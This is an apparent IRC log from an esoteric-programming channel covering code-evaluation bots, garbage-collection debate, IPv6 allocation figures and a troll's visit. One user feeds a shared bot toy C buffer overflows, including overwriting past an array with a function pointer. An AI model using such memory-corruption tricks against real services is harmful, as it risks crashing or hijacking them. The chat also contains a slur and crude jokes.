01:29:53 <elliott> こんにちは、世界!
01:29:57 <elliott> Does the same thing :P
01:30:00 -!- damnwalk has quit (Remote host closed the connection).
01:30:05 <elliott> I blame Terminus.
01:32:39 <elliott> pikhq: NAEM FONT
01:33:38 <pikhq> I DUNNO.
01:33:49 <pikhq> FREETYPE FONT SELECTION WORKS.
01:36:09 <elliott> pikhq: ST DOESN'T SUPPORT XFT, OBVIOUSLY
01:37:42 <elliott> pikhq: IT'S LIKE YOU DON'T KNOW ANYTHING ABOUT DUCKS
01:38:22 <elliott> > zip [0..] [1,2,3]
01:38:23 <lambdabot> [(0,1),(1,2),(2,3)]
01:39:50 <Lymia> > printStrLn "Haskell!"
01:39:51 <lambdabot> Not in scope: `printStrLn'
01:40:01 <Lymia> > putStrLn "Haskell!"
01:40:02 <lambdabot> <IO ()>
01:40:08 <Lymia> Yep, Haskell.
01:40:09 <Lymia> :s
01:40:19 <Lymia> > main = printStrLn "Haskell!"
01:40:20 <lambdabot> <no location info>: parse error on input `='
01:42:33 <elliott> Lymia: It won't let you do that.
01:42:38 <elliott> !haskell putStrLn "blah"
01:42:44 <elliott> EgoBot does, but lambdabot is generally more useful :P
01:42:50 <EgoBot> blah
01:42:57 <Lymia> So.
01:43:01 <Lymia> Let me get it straight.
01:43:03 <elliott> `cat bin/rungcc
01:43:04 <HackEgo> #!/usr/bin/env bash \ name=$(mktemp) \ tail -n +1 "$1" | gcc -x c -O2 -std=gnu99 /dev/stdin -o "$name" || exit $? \ shift \ "$name" "$@"; st=$? \ rm -f "$name" 2>/dev/null \ exit $? \
01:43:14 <elliott> `run sed -i 's/-O2/-w -O2/' bin/rungcc
01:43:14 <HackEgo> No output.
01:43:19 <elliott> `ls /dev
01:43:21 <HackEgo> null
01:43:23 <elliott> Gregor: When we gonna get stdout :P
01:43:25 <Lymia> lambdabot is too lazy to execute IO actions.
01:43:25 <Lymia> :(
01:43:34 <elliott> Lymia: No, it just isn't stupid enough to let you do IO :P
01:43:43 <Lymia> :p
01:48:24 -!- augur has joined.
01:49:45 <pikhq> EgoBot is smart enough to *get away* with letting you do IO.
01:57:09 <elliott> I wish cpressey would come back.
01:59:26 <elliott> SEGFAULTS
01:59:26 <elliott> OH YEAH
01:59:28 <elliott> THEY'RE THE BEST
01:59:35 <elliott> Meanwhile
01:59:39 <elliott> quo_0:
01:59:39 <elliott> ({ struct obj_quot *q = malloc(sizeof(struct obj_quot) + 0); q->tag = 0; q->next = ((void *)0); q->label = &&quo_1; q->str_len = 0; memcpy(q->str, "", 0); push_obj((struct obj_common *) q); }); eval((((struct obj_quot *)stack->top)->label)); ({ struct obj_quot *q = malloc(sizeof(struct obj_quot) + 0); q->tag = 0; q->next = ((void *)0); q->label = &&quo_1; q->str_len = 0; memcpy(q->str, "", 0); push_obj((struct obj_common *) q); }); goto *(((struc
01:59:40 <elliott> t obj_quot *)stack->top)->label);
01:59:40 <elliott> return;
01:59:48 <elliott> pikhq: C TO RIVAL YOUR LAMBDAS
02:00:04 <pikhq> o.O
02:00:33 <elliott> pikhq: (That's the expansion of "PUSH(1) INCLUDE PUSH(2) TAIL_INCLUDE".)
02:01:17 <pikhq> I'm afraid my pants have turned somewhat brown. Excuse me as I go to rectify.
02:01:59 <Lymia> elliott, do we have a Cbot?
02:02:07 <elliott> !c printf("poop\n")
02:02:11 <elliott> pikhq: Brown with APPRECIATION.
02:02:13 <EgoBot> poop
02:02:25 <elliott> !asm I'm not gonna look up syscalls at this hour
02:02:26 <EgoBot> Does not compile.
02:02:35 <elliott> !perl print "donkey\n"
02:02:39 <EgoBot> donkey
02:02:45 <elliott> !python print 'x'
02:02:53 <elliott> Nope :P
02:02:58 <elliott> `run python -c 'print "x"'
02:02:59 <HackEgo> x
02:06:01 <Sgeo> Maybe I should learn Objective-J
02:06:13 <Lymia> !c int a[2]; &(a+2) = 0; return;
02:06:14 <EgoBot> Does not compile.
02:06:25 <Lymia> !c int main(){int a[2]; &(a+2) = 0; return 0;}
02:06:26 <EgoBot> Does not compile.
02:06:39 <Lymia> !c int main(){int a[2]; *(&a+2) = 0; return 0;}
02:06:40 <EgoBot> Does not compile.
02:06:42 <Lymia> :<
02:06:57 <Lymia> !c int a[2]; *(&a+2) = 0; return 0;
02:06:58 <elliott> I like how helpful its error messages are.
02:06:58 <EgoBot> Does not compile.
02:07:02 <Lymia> :<
02:07:23 <Lymia> !c int a[2];
02:08:00 <Lymia> !c char a[2]; strcpy(a,"buffer overflow weeee");
02:08:22 <Lymia> !c void a(){char a[2]; strcpy(a,"buffer overflow weeee");} a();
02:08:23 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 7452 Segmentation fault /tmp/compiled.$$
02:09:38 <elliott> `addquote <oerjan> (the former is a very deep theorem, i'd have had to read the whole book to understand it, so i didn't.)
02:09:38 <HackEgo> 291) <oerjan> (the former is a very deep theorem, i'd have had to read the whole book to understand it, so i didn't.)
02:10:00 <Lymia> !c void b(){printf("Hello, world!");}void a(){int a[2]; a[3] = b;} a();
02:10:13 <Lymia> !c void b(){printf("Hello, world!");} void a(){int a[2]; a[2] = b;} a();
02:10:20 <Lymia> !c void b(){printf("Hello, world!");} void a(){int a[2]; a[4] = b;} a();
02:10:21 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 7619 Segmentation fault /tmp/compiled.$$
02:10:27 <elliott> you can define an explicit main if you want
02:16:49 <Lymia> !c void b(){printf("Hello, world!");}void a(){int a[2]; a[4] = b;} a();
02:16:51 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 7704 Segmentation fault /tmp/compiled.$$
02:16:57 <Lymia> :s
02:20:55 <elliott> Oh, durrr!
02:21:07 <elliott> Hmm, I need to handle that.
02:21:37 <elliott> haha it works
02:21:38 <elliott> awesome
02:22:13 <Lymia> What works?
02:22:28 <elliott> this
02:22:59 <elliott> Lymia: to be precise: http://sprunge.us/XBjf
02:23:06 <elliott> the beginning of unad
02:23:08 <elliott> *beginnings
02:23:11 <elliott> the ugly, ugly beginnings
02:23:11 <Lymia> Haskell?
02:23:14 <Lymia> And...
02:23:14 <Lymia> C?
02:24:45 <elliott> Lymia: Yes.
02:24:51 <elliott> Lymia: The big chunks of C are actually quoted.
02:25:07 <elliott> Were I a sane man, I'd store them in a separate file, and use Template Haskell to read in those files at compile-time.
02:25:12 <elliott> But I am not sane, so the C is embedded instead.
02:25:39 <elliott> This means that I have to edit the C parts using fundamental-mode in Emacs since c-mode thinks all the 's at the end of the Haskell function names are single quotes and so treats the entire block as quoted. Quite messy.
02:26:47 <Lymia> If we were sane, we wouldn't have these languages around.
02:26:48 <Lymia> =p
02:28:28 <elliott> http://catseye.tc/projects/burro/doc/burro.html More language specifications should be formally defined by being a literate Haskell program.
02:28:49 <elliott> Although the "Inductive Definition of a Burro Program" section needs closer coupling of the text and the Haskell.
02:34:21 <elliott> 18:12:21 <Luyt> Maybe this esoteric language thing is more like a hobby or something?
02:34:21 <elliott> 18:12:53 <Luyt> I wouldn't write my company's production code in Piet!
02:35:00 <elliott> 19:17:14 <uorygl> Gregor: you are hereby expelled for truancy. Get out.
02:35:00 <elliott> 19:17:34 <Gregor> Ooooh, truancy.
02:36:01 <elliott> hmm, maybe I'll make an executable specification for Underload
02:37:57 <elliott> Gregor: What was your rebuttal to Eightebed again?
02:38:15 <Lymia> Writing production code in Piet?
02:38:16 <Lymia> Sounds nice.
02:38:21 <Lymia> Good way to impress your bosses.
02:44:56 <elliott> grr, why is Emacs such a bad Emacs :(
02:46:21 <Gregor> elliott: Something along the lines of "OK, so you don't use a garbage collector because you've only put 75% of a garbage collector in it ... TECHNICALLY that fits the requirement, but it's pretty silly"
02:46:39 <elliott> Gregor: There is nothing in there that collects garbage, or even notes things as being garbage.
02:46:53 <elliott> Gregor: Are you saying that looping through a set of objects and flipping bits on them is "75% of a garbage collector"? :p
02:47:28 <Gregor> If you have a mark-and-swap garbage collector, that's about 99.9% of a garbage collector.
02:47:33 <Gregor> I was being generous.
02:48:01 <elliott> "(Starting with the "root set" of the program's global variables, we traverse all memory blocks reachable by following valid pointers from them, looking for pointers which match the pointer about to be freed; any we find, we set their valid flags to false.) After freeing a pointer, we set its valid to false."
02:48:13 <elliott> Gregor: OK, so basically you consider "traverse object space" to be 75% of a GC?
02:48:34 <Gregor> There really isn't very much to a GC, and for some styles of GC that's pretty much all there is.
02:48:36 <elliott> Gregor: Sure, it's very similar to the _mark_ phase, but that's because the mark phase of a mark-and-sweep GC is incredibly fucking simple :P
02:48:41 <elliott> It's a ... loop.
02:48:42 <Gregor> Mark-and-SWAP
02:48:59 <Gregor> In a mark and swap garbage collector, there is no sweep phase. The "sweep" phase is updating two pointers.
02:49:11 <elliott> If it divided objects into generations and shit maybe I'd see your point, but I can think of 100 GC-less languages that loop through object space at points, and they don't have 75% of a GC :P
02:49:23 <elliott> Gregor: Wat.
02:49:36 <elliott> Best GC: Mark-and-mark. It never frees, it can just tell you statistics about how much memory it's wasting.
02:49:57 <Gregor> Mark-and-sweep is dead, non-shitty mark-and-whatever garbage collectors keep both free-lists and allocated-lists, then to "sweep" they just push the remaining old allocated list onto the free list.
02:50:17 <elliott> Gregor: So hey, does Fythe (and thus GGGGGGGGGGC I guess) implement my (ok, not mine) incredibly simple mark-and-sweep GC design that makes GC not block the program at all? :P
02:50:35 <Gregor> No, it's a copying generational collector.
02:50:43 <elliott> Oh yeah :P
02:50:52 <elliott> I have no idea how you'd do that for a generational GC.
02:50:55 <elliott> Actually I doubt it's possible.
02:50:59 <elliott> THIS IS WHY MARK AND SWEEP IS AWESOME, GUYS
02:52:08 <Gregor> Anyway, I'm not arguing that ais didn't win the argument, in fact his language does not have a GC, but I still feel like the language that resulted has proved my point.
02:52:54 <Lymia> Let's play 20 questions.
02:53:00 <elliott> Gregor: ...ais?
02:53:05 <Gregor> Errr
02:53:07 <Gregor> Why did I think ais X-P
02:53:09 <Gregor> cpressey
02:53:14 <elliott> Because you hate cpressey, obviously.
02:53:26 <elliott> Gregor: It proved your point as far as *practical* languages go... but, err, look at the channel you're in, dude :P
02:53:41 <elliott> If we rephrase
02:53:41 <elliott> A C-like language which provides a true explicit free() cannot be safe. (By "true" I mean that you can get that memory back in a later malloc().) To be safe a language must either never free (which is bad) or be GC'd. [C-like languages being] imperative languages with pointers at arbitrary data, where safety is defined as not seeing that data as a different type.
02:53:43 <elliott> as
02:54:07 <elliott> A C-like language which provides a true explicit free() cannot be safe. (By "true" I mean that you can get that memory back in a later malloc().) To be safe a language must either never free (which is bad) or traverse the object space as part of memory management. [C-like languages being] imperative languages with pointers at arbitrary data, where safety is defined as not seeing that data as a different type.
02:54:11 <elliott> then you'd win.
02:54:30 <Gregor> Yup.
02:54:33 <Gregor> I just wasn't specific enough :P
02:54:41 <elliott> BUT YOU DIDN'T, AND SO THE GLORY AND EVERLASTING FAME TO GO CPRESSEY
02:54:47 <elliott> This is what history teaches us, people.
02:54:55 <Gregor> Luckily, it's just #esoteric glory and #esoteric everlasting fame :P
02:56:32 <elliott> Gregor: No, GLOBAL.
02:56:37 <elliott> Haven't you WATCHED the NEWS LATELY.
02:57:02 <elliott> Now how do I make pandoc output as HTML, not xHTML.
02:57:03 <elliott> *XHTML.
03:02:13 <elliott> wow:
03:02:14 <elliott> I am currently using an iPod Touch. When I zoom in on the snowman on your page, my device freezes and causes other glitches afterward. Was this meant to happen, or is it a problem on my side?--72.18.49.91 02:46, 4 February 2011 (UTC)
03:02:21 <elliott> MY SNOWMAN CRASHES PEOPLE
03:23:36 <Gregor> elliott: wtf?
03:23:45 <elliott> Gregor: Yeah X-D
03:23:51 <Gregor> Context?
03:23:54 <elliott> Gregor: If you don't understand, see http://esolangs.org/wiki/User:Ehird
03:24:06 <elliott> (And click "edit" to see the vomit.)
03:24:16 <Gregor> GOD DAMN IT MY BROWSER JUST CRASHED
03:24:28 <elliott> Gregor: ...Seriously?
03:24:36 <Gregor> No :P
03:26:17 <Gregor> D'awwwww
03:26:33 <Gregor> Android doesn't crash or go crazy-slow or anything, but it doesn't have the snowman glyph so it's just a box on a gradient :(
03:27:00 <elliott> Gregor: LAME
03:27:51 <elliott> I don't think Pandoc will be able to understand this Literate Haskell.
03:28:14 -!- copumpkin has quit (Ping timeout: 265 seconds).
03:28:31 <elliott> INDEED
03:28:40 -!- copumpkin has joined.
03:30:26 <Gregor> elliott: I think it's time for "Number of 'of the day's of the day (of the day)"
03:30:32 <elliott> Gregor: X-D
03:31:29 <elliott> Ugh, getting text and a literate program to appear in table cells next to each other is... nearly impossible.
03:31:38 <elliott> (Yes, I do want to match up my English text and code!)
03:32:55 <Lymia> Why are we writing literate programs?
03:33:05 <Lymia> Write literate Brainfuck.
03:33:05 <elliott> Lymia: Executable Underload specification.
03:41:39 <elliott> 13:41:28 <scarf> AnMaster: you start as Yoshi, obviously
03:41:39 <elliott> [...]
03:41:39 <elliott> 13:42:03 <scarf> if it was a straight port, it wouldn't have sold as well as a port with some extra levels
03:41:39 <elliott> 13:42:07 <AnMaster> scarf, s/enhanced/totally wrecked/
03:41:46 <elliott> STARTING WITH A DIFFERENT CHARACTER = RUINED FOREVER
03:42:55 <Gregor> Nobody likes Yoshi.
03:43:08 <Gregor> Yoshi is into trannies, and that's totally not cool
03:43:12 -!- Tabarnaco has joined.
03:44:01 <Tabarnaco> hey guys how about that z80 assembly~~~~~~
03:44:46 <Gregor> We're against technology in this channel. We believe that the only True Assembly is the Assembly of the Earth.
03:45:07 <Tabarnaco> :(
03:45:16 <Tabarnaco> imo it's pretty close
03:45:41 <pikhq> However, the lambda calculus is entirely acceptable.
03:47:51 -!- azaq231 has joined.
03:48:05 -!- azaq231 has quit (Changing host).
03:48:05 -!- azaq231 has joined.
03:48:53 <elliott> Tabarnaco: hi
03:49:02 <elliott> Gregor is just some homeless guy who won't go away, disregard him
03:49:16 <Gregor> Homeless?
03:49:24 <Gregor> My home is the Sky.
03:49:28 <elliott> Of Life.
03:49:34 <Gregor> My home is The Earth.
03:49:39 <Gregor> My home is Nature.
03:49:43 * Gregor humms
03:49:48 <elliott> Tabarnaco: Isn't Z80 relatively *non*-esoteric as CPU architectures go? :)
03:49:59 <Lymia> !fyb i-love-you [@+++++++++++++++!]
03:50:02 <Tabarnaco> as far as i know there's no assembly or z80 channel
03:50:09 -!- azaq23 has quit (Ping timeout: 240 seconds).
03:50:18 <Lymia> If this dosn't get a 0.
03:50:20 <Lymia> Something is wrong.
03:50:21 <EgoBot> Score for Lymia_i-love-you: 4.9
03:50:24 <Lymia> ...
03:50:27 <elliott> There's almost certainly some kind of assembly channel; Z80 maybe not on freenode but definitely elsewhere.
03:50:30 <elliott> But hi.
03:50:47 <Tabarnaco> well i checked z80 and it doesn't exist so i don't want to browse through the list of channels
03:50:54 <Lymia> Gregor.
03:50:58 <Lymia> Why is my program winning.
03:50:59 <Tabarnaco> either way i think i forgot my calculator somewhere
03:51:09 <Tabarnaco> so i can't get my rom onto the computer to debug
03:51:25 <Gregor> Lymia: Some programs will kill themselves if left unchallenged.
03:51:43 <Lymia> Gregor, this program kills itself.
03:51:50 <Lymia> That's what it's meant to do.
03:51:53 <Gregor> Lymia: Not if it stops you first.
03:52:05 <Lymia> !fyb i-love-you :@+[...............................................................................................................]*;[@+++++++++++++++!]
03:52:07 <EgoBot> Score for Lymia_i-love-you: 5.1
03:52:10 <Lymia> /
03:52:12 <Lymia> ...
03:53:10 * azaq231 considers the sort-of trolling halfway commenced
03:53:31 <elliott> azaq231: wait what
03:53:39 <elliott> who are you, anyway?
03:53:46 <Gregor> azaq231: Amazing how you've accomplished that without saying anything :P
03:54:15 <azaq231> I sent the assembly guy here
03:54:21 <elliott> OH WE'RE SO TROLLED
03:54:29 <elliott> Tabarnaco: This channel is about esoteric programming languages, btw :P
03:54:32 <elliott> azaq231: What did you tell him X-D
03:54:37 <Tabarnaco> NO SHIT
03:54:47 <Tabarnaco> assembly is pretty esoteric nowadays
03:55:02 <Tabarnaco> and if i can't find an answer to my question on google it has to be esoteric
03:56:06 <elliott> w
03:56:08 <elliott> *no w
03:56:23 <elliott> Tabarnaco: well I don't know Z80, so I'm going back to my Haskell :P
03:56:35 <Tabarnaco> see
03:56:36 <Tabarnaco> esoteric
03:56:49 <azaq231> Everybody has to start low, using appropriate opportunities, I guess. Actually this was the first place in which the question didn't seem so offtopic and which contains people who might know the answer that popped into my head
03:56:51 <elliott> Har har har har har
03:57:09 <elliott> azaq231: I just hope you realise that the punishment for bringing people here is death by fire.
03:58:01 <Tabarnaco> don't worry i don't give a fuck about you so there's no way i'm staying here longer than necessary to obtain an answer, regardless of the method employed for it
03:58:27 <elliott> Wow, you sound like a really nice, happy chum.
03:59:41 <Tabarnaco> thx
04:00:08 <pikhq> niwanoniwanihaniwanoniwatorihaniwakaniwaniwotahèta.
04:00:17 <elliott> Tabarnaco: You realise nobody in here knows the answer to your question. Also you haven't told us what it is.
04:00:40 <Tabarnaco> well since nobody seems to know z80 assembly in the first place i don't see the point of it...
04:00:52 <Tabarnaco> it's just data overlap
04:01:48 <Tabarnaco> it's ok though i realise that you're too stupid to know how to fix it so i'll check somewhere else
04:02:04 <elliott> azaq231: lol where did this guy come from, efnet?
04:02:13 <Tabarnaco> you're so trollable
04:02:20 <Tabarnaco> where are you from
04:02:22 <Tabarnaco> furnet?
04:02:40 <pikhq> Tabarnaco: I'm afraid þou art ſtupid.
04:03:08 <elliott> "trollable"?
04:03:18 <elliott> don't i have to get angry or at least annoyed for that?
04:03:28 <azaq231> elliott: #Reddit
04:04:05 <elliott> azaq231: psht, you bring this guy in here on my reddit birthday! :-p
04:04:12 * elliott wears party hat
04:04:41 <Tabarnaco> no, you shouldn't get angry or annoyed
04:04:46 <Tabarnaco> you should surpass my trolling
04:04:47 <Tabarnaco> with your own
04:05:23 <elliott> Vorpal: what's the befunge terminology for "second element of stack again"?
04:17:44 -!- poiuy_qwert has joined.
04:24:37 -!- azaq23 has joined.
04:26:01 -!- azaq231 has quit (Ping timeout: 240 seconds).
04:29:58 <elliott> TODO: swap the arguments of this to take the program first ...
04:31:32 * Lymia hugs elliott <3
04:31:50 <elliott> YOU ARE DOING THAT TOO MUCH
04:31:57 <Lymia> I hug everybody
04:31:58 <Lymia> Alot.
04:32:00 <Lymia> No matter who they are.
04:32:01 <elliott> Clearly.
04:32:03 <Lymia> Or where they are.
04:32:06 * Lymia hugs Tabarnaco <3
04:32:07 <Lymia> See.
04:32:11 <elliott> But he's filthy.
04:33:02 <Tabarnaco> at least i don't get trolled by some random asshole who joins the channel
04:33:20 <elliott> what is it with people these days and not knowing what trolling means
04:33:26 <elliott> OR WAS THAT TEH TROLL
04:33:32 <elliott> sorry *trolle
04:34:10 <Tabarnaco> i agree, you don't see to get the definition
04:34:14 * quintopia hugs Lymia
04:34:21 <elliott> get a room
04:34:22 <quintopia> people who hug are cool
04:34:23 <Tabarnaco> maybe you should check wikipedia, but maybe it's not esoteric enough for you...
04:34:27 * Lymia hugs quintopia <3 <3
04:34:30 <Tabarnaco> seem not see
04:34:51 <Ilari> Haha... http://inetcore.com/project/ipv4ec/images/ipv4ec_iana_en.png
04:35:04 <Tabarnaco> time to create esoteropedia, with all sorts of esoteric definitions for ordinary words
04:35:59 <azaq23> that's called urbandictionary.com
04:36:20 <Tabarnaco> urbandic is accurate enough
04:36:36 <elliott> no it's not
04:36:59 * quintopia unhugs lymia
04:37:03 <Gregor> Ilari: Time to start the IPv6 exhaustion counter.
04:38:21 <Ilari> Predicting next IANA IPv6 allocation would be easier... :-)
04:38:23 <quintopia> Gregor: goal: set up a box and a network so reliable it will still be running the day IPv6 runs dry :P
04:38:30 <azaq23> I'm still a little bit suprised that I was asked who I am in some freenode irc channel while #haskell-blah shortly talked about the familiarity with my person
04:38:42 <Ilari> (last was in 2006).
04:39:35 <Ilari> IIRC, the most depleted RIR is at 6% of a block used...
04:39:51 <elliott> azaq23: I can't parse that
04:39:55 <elliott> well, the bit after "while"
04:40:03 <Gregor> Ilari: Spoken like a non-statistician. You can ALWAYS estimate.
04:40:22 <elliott> ALWAYS
04:41:03 -!- Lymia_ has joined.
04:41:17 <Sgeo> estimate the day I snap and injure elliott
04:41:26 -!- Lymia has quit (Disconnected by services).
04:41:28 -!- Lymia_ has changed nick to Lymia.
04:41:36 -!- Lymia has quit (Changing host).
04:41:36 -!- Lymia has joined.
04:43:18 <azaq23> elliott: copumpkin and tswett briefly mentioned that they are not familiar with me. I didn't know that I have to get a member card for certain channels.
04:43:29 <copumpkin> you don't
04:43:44 <elliott> azaq23: hmm, but they're all #esotericers!
04:43:45 <elliott> :p
04:44:10 <Gregor> Pfff
04:44:18 <Gregor> copumpkin is too new to be a TRUE #esotericer.
04:44:48 <Gregor> He hasn't yet experience The Ritual.
04:45:54 <elliott> Yes.
04:45:59 <elliott> He has not yet been subjected to... The Raping.
04:46:01 <elliott> Of the Soul.
04:46:13 <Ilari> LACNIC: 4 322 885 928 /48s used out of total of 68 753 031 168 (6.3% depletion).
04:46:45 <Lymia> That is ipv6?
04:46:53 <Gregor> Ilari: And when was the first allocation?
04:47:11 <Gregor> Lymia: That's of only a particular allocation OF IPv6.
04:47:19 <Lymia> I know.
04:47:40 <elliott> 4 billion /48s... nice :P
04:48:04 -!- elliott has set topic: Tetris hermeneutics | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
04:49:15 <Ilari> Yes. But there's one huge allocation (apparently to NIR of Brazil). Discounting that (as that would get futher allocated), there are 27 918 632 other /48s.
04:49:42 <elliott> GOD DAMMIT BRAZIL
04:49:44 <elliott> WHY YOU GOTTA BE LIKE THAT
04:50:40 <Ilari> BTW: The IPv6 allocations of entiere world would be about /14.84
04:50:48 <Ilari> So /16 is fscking huge.
04:52:44 <elliott> Ilari: Is that /16 relative to the currently allowed unicast blocks?
04:52:58 <Ilari> Relative to whole IPv6 address space.
04:53:54 <Ilari> Assuming advertisment ratio on order of 20%, the number of /48s actually allocated to end users from that block is on order of 25 000 000.
04:54:15 <Ilari> Oops, 12.5M, not 25M.
04:54:37 <Ilari> So that block is maybe 1% used...
04:54:38 <Gregor> Ilari: You didn't answer, when was the first allocation in this block?
04:54:50 <Ilari> On what block?
04:55:12 <Gregor> LACNIC, the oh-so-6.3-percent-depleted one we've been talking about.
04:56:17 <Ilari> Seems like first allocations were in 2003.
04:56:57 <Gregor> And how big is it? A /16?
04:57:16 <Ilari> The huge /16 was allocated in 2008...
04:58:04 <pikhq> I suppose Brazil wanted to never run out ever.
04:58:06 <elliott> WHAT WAS THE FIRST IPv6 ALLOCATION _EVER_
04:59:07 <variable> elliott, the reserved private IPs?
04:59:12 <elliott> THAT'S NOT AN ALLOCATION
04:59:24 <variable> it was to RIPE
04:59:32 <Ilari> Assuming 1% usage of that huge block (and that seems high), the real depletion percentage would be 0.10%
04:59:46 <pikhq> elliott: The first IPv6 allocation would be 2000::/3, to IANA. :P
04:59:54 <elliott> WHEN WAS THAT
05:00:06 <variable> pikhq, you sure? I thought RIPE got the first allocation?
05:00:09 <variable> elliott, STOP SHOUTING
05:00:12 <elliott> NO
05:00:12 <elliott> I AM
05:00:13 <elliott> TOO
05:00:14 <elliott> SERIOUS
05:00:15 <elliott> NOT TO SHOUT
05:00:18 <pikhq> variable: I'm being silly.
05:00:20 <Gregor> Also he is SPARTA
05:00:28 <elliott> Gregor: ONLY SOMEWHAT SPART
05:00:29 <elliott> *SPARTA
05:00:37 <variable> pikhq, I'm dead tired right now - so I'm not thinking)
05:00:45 <Gregor> elliott: I forget what that's from :P
05:01:01 <elliott> Gregor: Chrome build system thing.
05:01:08 <Gregor> Ohyeah 8-D
05:01:33 <Ilari> This was apparently the first IPv6 allocation from RIR: arin|US|ipv6|2001:0400::|32|19990803|allocated ... 3rd August 1999.
05:01:43 <variable> elliott, http://www.sixxs.net/tools/grh/dfp/ -> random stats - I'm sure you you could find it somewhere there?
05:01:48 <variable> Ilari, link?
05:01:55 <elliott> Ilari: Did allocations become "standard" after that or was that just an "initial" thing with a delay before actual allocations?
05:02:03 <elliott> I'm curious as to when IPv6 started actually "existing".
05:02:06 <elliott> ""
05:02:11 <variable> elliott, allocations are requested
05:02:11 <elliott> variable: Ew, SixXS. :)
05:02:14 <elliott> variable: I know that.
05:02:26 <elliott> I just mean that e.g. imagine if some initial allocations were made right when IPv6 was being finalised.
05:02:27 <variable> elliott, erm - I'm dead tired to do too much thinking :-\
05:02:36 <elliott> It could be quite a while before more allocations came in after that.
05:02:41 <elliott> Because of infrastructure being deployed and whatnot.
05:02:47 <variable> and no - the initial IPv6 was finalized way before it was allocated
05:02:51 <elliott> Right.
05:03:01 <variable> but lots of related protocalls were finalized after allocation started
05:03:12 <elliott> http://en.wikipedia.org/wiki/World_IPv6_Day Oh man, this is gonna be so disapointing :P
05:03:15 <elliott> *disappointing
05:03:24 <variable> elliott, its just a test day - nothing major will occur
05:03:38 <elliott> variable: Yeah, and the result will be that absolutely frickin' no-one can access the sites via IPv6 :P
05:03:46 <Ilari> IPv6 RIR system was apparently created 1st July 1999. Also, 1999 was the year IPv6 was considered production-ready.
05:04:03 <elliott> 1999... and here we are, 12 years later.
05:04:03 <variable> google found that 1% of requests failed with IPv6 enabled even if there were using an IPv4 only stack. This is just a similar test on a larger scale
05:04:09 <elliott> Shit still ain't workin'.
05:04:25 <variable> they don't care if people use IPv6 really
05:04:36 <variable> or - not much
05:04:56 <variable> (I'm on the IPv6-ops; dns-ops; NANOG lists btw)
05:04:57 -!- pikhq has quit (Ping timeout: 240 seconds).
05:05:00 -!- pikhq_ has joined.
05:05:10 <elliott> Looks like 6bone started at the same time that Linux got alpha IPv6 support, 1996.
05:05:11 <Ilari> BTW: I have seen interesting IPv6 failure modes... Including ones leading to WSOD with NO fallback.
05:05:54 <elliott> lol: http://lists.cluenet.de/pipermail/ipv6-ops/2011-February/004807.html
05:06:13 <variable> Nice event. No IPv6 on the streaming servers. FAIL. --> lulz
05:06:31 <elliott> But hey, that's all right.
05:06:35 -!- pikhq_ has changed nick to pikhq.
05:06:36 <elliott> After all, we're all switching to IPv8, right?
05:06:37 <elliott> http://www.ietf.org/mail-archive/web/ietf/current/msg23021.html
05:06:49 <variable> Ilari, MS Windows is not supported on a IPv4 only stack :-)
05:06:55 <Ilari> You only get fallback if the connection fails to establish. If the connection establishes and things go wrong after that...
05:06:56 <elliott> More crazy: http://mailman.apnic.net/mailing-lists/apnic-talk/archive/1998/02/msg00030.html
05:07:05 <elliott> More crazy: http://www.icann.org/en/comments-mail/comment-aso/msg00010.html
05:07:12 <elliott> More crazy: http://www.ietf.org/mail-archive/web/ietf/current/msg09777.html
05:07:15 <variable> Ilari, exactly. That is why the IPV6 test day is occuring
05:07:23 <elliott> EXCUSE ME I AM LINKING YOU CRAZY APPRECIATE
05:07:28 <elliott> :p
05:07:47 <variable> elliott, I've already read those :-)
05:07:56 <elliott> Yeah, but that's because you're LAME or something.
05:07:58 <pikhq> variable: And that may happen *after* the first RIR depletion.
05:08:02 <pikhq> Which is so very fail.
05:08:02 <elliott> variable: But have you read http://thehiawathatriad.org/home/?page_id=1780?
05:08:08 <elliott> If Web 4.0 containing terminals of IPv7 is to prove a reliable and generally accessible tool to traverse the mirror boundary, it should “boot up”. In addition, if interpretation of impressions recited in this website are to be used, they must not only be relevant, but also be elements of a coherent or bridged reality. In this context, it might be useful to review early work in Phase II for possible experimental refinement. For the sake of a
05:08:09 <elliott> rgument, we will use one Phase II statement (pg. 13) and another from Schrodinger’s virus:
05:08:09 <elliott> From Phase II: “… is a potency whose actuality or form of realization is determined by the circumstances of the situation defining its purpose. For the sake of the text, it can be considered a platform of convenience in an abstract substratum of attributes rendering it otherwise uninhabitable. (page 9) ” and from Schrodinger’s virus; “A sense of a capability to, at any given moment, validate history of conversations and opinion verbaliz
05:08:10 <variable> elliott, because I care a lot about internet internals
05:08:13 <elliott> ed, written, or thought.”
05:08:50 <Ilari> Oh, there is network protocol with IP version id of 7.
05:08:50 <variable> pikhq, there won't ever really be a 0 point for the RIRs AFIK because of the reallocation policies. But the reserves will get too low to provide most requests (ie <100 addresses)
05:09:12 <elliott> Can you allocate a single address in IPv4? :D
05:09:19 <variable> elliott, no
05:09:31 <elliott> AWW
05:09:45 <elliott> That's a /4294967295 isn't it?
05:09:56 <elliott> Or, no...
05:10:00 <elliott> /31?
05:10:01 <pikhq> variable: "RIR depletion" here means that they're not capable of assigning outside of the reserved space.
05:10:02 <variable> elliott, its a /32
05:10:05 <elliott> hehe
05:10:05 <variable> sorry /31
05:10:08 <elliott> right
05:10:14 <Ilari> (it is easy to guess what IP version ids of IPv4 and IPv6 are).
05:10:25 <variable> pikhq, yes. I understand
05:10:33 <variable> Ilari, 42 and 5?
05:10:39 <variable> (in that order)
05:11:15 <Ilari> Earlier summary of packet exchange (dumped from A): A: SYN, B: SYN+ACK, A: ACK. A: Data 1-415. A: Data 1-415. B: ACK up to 415. B: Data 1209-1614. A: SACK 1,1209-1614. B: FIN+ACK. A: SACK 1,1209-1615. B: ACK up to 415. <connection hung>.
05:11:23 <elliott> Amazing how the development of IPv6 started in 1994... if you went back and time and asked them if they thought their protocol would stay largely unimplemented for 17 years, whaddya think they'd say?
05:11:30 <elliott> 17 years!
05:11:31 <variable> elliott, "yes"
05:11:37 <pikhq> elliott: "Fuck you!"
05:11:48 <variable> maybe not 17 -- but at least 15
05:11:51 <elliott> Mm.
05:11:56 <pikhq> ... Good God. If IPv6 adoption started in 1994, this would *never* have been a problem.
05:12:06 <elliott> pikhq: Impossible.
05:12:10 <elliott> The RFCs were only first published in 1996.
05:12:12 <elliott> And finalised in 1998.
05:12:18 <pikhq> elliott: I can dream, right?
05:12:19 * variable is away
